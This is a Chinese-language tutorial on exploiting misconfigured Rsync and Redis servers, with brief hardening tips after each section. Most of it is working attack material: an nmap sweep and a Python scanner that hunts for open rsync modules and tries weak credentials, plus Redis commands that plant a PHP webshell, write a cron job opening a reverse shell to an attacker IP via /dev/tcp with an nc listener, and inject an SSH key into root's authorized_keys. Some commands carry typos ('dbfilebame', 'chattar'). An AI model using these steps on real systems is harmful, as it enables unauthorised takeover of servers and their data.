一、Rsync配置不當
Rsync(remote synchronize)是一款實現遠程同步功能的軟件。它在同步文件時可以保持原來文件的權限,時間,軟硬鏈接等附加信息。rsync默認同步是不加密,可使用ssh隧道方式進行加密同步。端口默認873,和其他軟件搭配使用 rsync + crontab
rsync + sersync
使用ssh隧道方式進行加密方式同步
rsync -avzP -e "ssh -p 22" /tmp/ test@ip:/web
- 使用root用戶權限運行
- 沒開啓只讀模式
- 沒有配置訪問權限設置,用戶可以進行未授權訪問
我是如何淪陷ChinaZ下載站服務器的
http://www.anquan.us/static/bugs/wooyun-2013-026232.html
漏洞掃描與發現
nmap -n --open -p 873 X.X.X.X/24
import os
import datetime
import threading
from socket import *
def save_file(result):
create_file_name = datetime.datetime.now().strftime('%Y-%m-%d')
new_file = '{}_open.txt'.format(create_file_name)
with open(new_file,'a+') as fd:
fd.writelines(result + '\n')
def socket_request(tarip,tarport):
try:
timeout = 2
setdefaulttimeout(timeout)
s = socket(AF_INET,SOCK_STREAM)
address = (str(tarip),int(tarport))
s.connect(address)
s.close()
info = '{}:{} Open'.format(tarip,tarport)
print('\033[6;30;42m' + info + '\033[0m')
save_file(tarip)
yield info
except:
print('\033[0;31m' + '{}:{} {}'.format(tarip,tarport,'Close') + '\033[0m')
def port_open_scan():
with open('ip.txt','r') as read_ip:
tarport = 873
for ip in read_ip:
target_ip = ip.strip()
for x in socket_request(target_ip,tarport):
pass
def rsync_pass_check(ip):
ip = ip.strip()
command = "rsync " + ip +"::"
print("Checking {}".format(ip))
dirlist = []
for line in os.popen(command):
x = line.find("\t")
y = line[0:x]
dirlist.append(y)
for dir in dirlist:
userlist = ["www","root","test"]
for user in userlist:
crack_command = "rsync " + user + "@" + ip + "::" + dir + "--password-file=pass.txt"
try:
output = os.system(crack_command)
if os.popen(crack_command).read():
res_str = "[+] Vul Found: " + crack_command
with open("Vuln_IP.txt","a+") as f:
f.write(res_str+"\n")
else:
pass
except Exception as e:
print(e)
def main():
port_open_scan()
open_port = '{}_open.txt'.format(datetime.datetime.now().strftime('%Y-%m-%d'))
with open(open_port,'r') as f:
iplist = f.readlines()
for ip in iplist:
rsync_pass_check(ip)
if __name__ == '__main__':
t = threading.Thread(target=main)
t.start()
- 限定訪問的IP
- 不允許匿名訪問
- 防止弱口令
- 禁用root權限
二、Redis配置不當
Redis是一個開源、支持網絡、基於內存、鍵值對存儲數據庫,使用ANSI C編寫。
自從Redis未授權(未設置用戶名和密碼)問題獲取Linux系統root權限的攻擊方法的披露後,由於其易用性,利用該問題入侵Linux服務進行挖礦。
鳳凰網某站點redis未授權訪問導致Getshell
http://www.anquan.us/static/bugs/wooyun-2015-0161323.html
三、利用未授權訪問獲取Shell
- 默認安裝redis 由於沒有設置用戶名和密碼是可以直接登錄redis
wget https://codeload.github.com/antirez/redis/tar.gz/2.8.21
make
make install
cp -p redis.conf /etc/
redis-server /etc/redis.conf
有三種攻擊方式
- 獲取WebShell
這種方式前提是要知道網站的目錄路徑
config set dir /var/www/html/ #指定一句話木馬文件存放地址
config set dbfilebame shell.php #指定一句話木馬文件名字
set x "<?php @eval($_POST[a]);?>" #寫入一句話木馬
save #保存
- 寫入crontab任務
set x "\n* * * * * bash -i >& /dev/tcp/192.168.4.107/6666 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
Save
攻擊方再使用nc來監聽端口
nc –lvnp 6666
- 寫入ssh公鑰
ssh-keygen -t rsa
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt
cat foo.txt | redis-cli -h 192.168.4.1 -x set crack
config set dir /root/.ssh/
config get dir
config set dbfilename "authorized_keys"
Save
ssh -i id_rsa [email protected]
Python爆破redis弱口令
防護
- 設置密碼
- 不要把redis暴露在公網
- 使用普通用戶權限來啓動redis
- 對.ssh降權(chmod 400)和鎖定(chattar +i)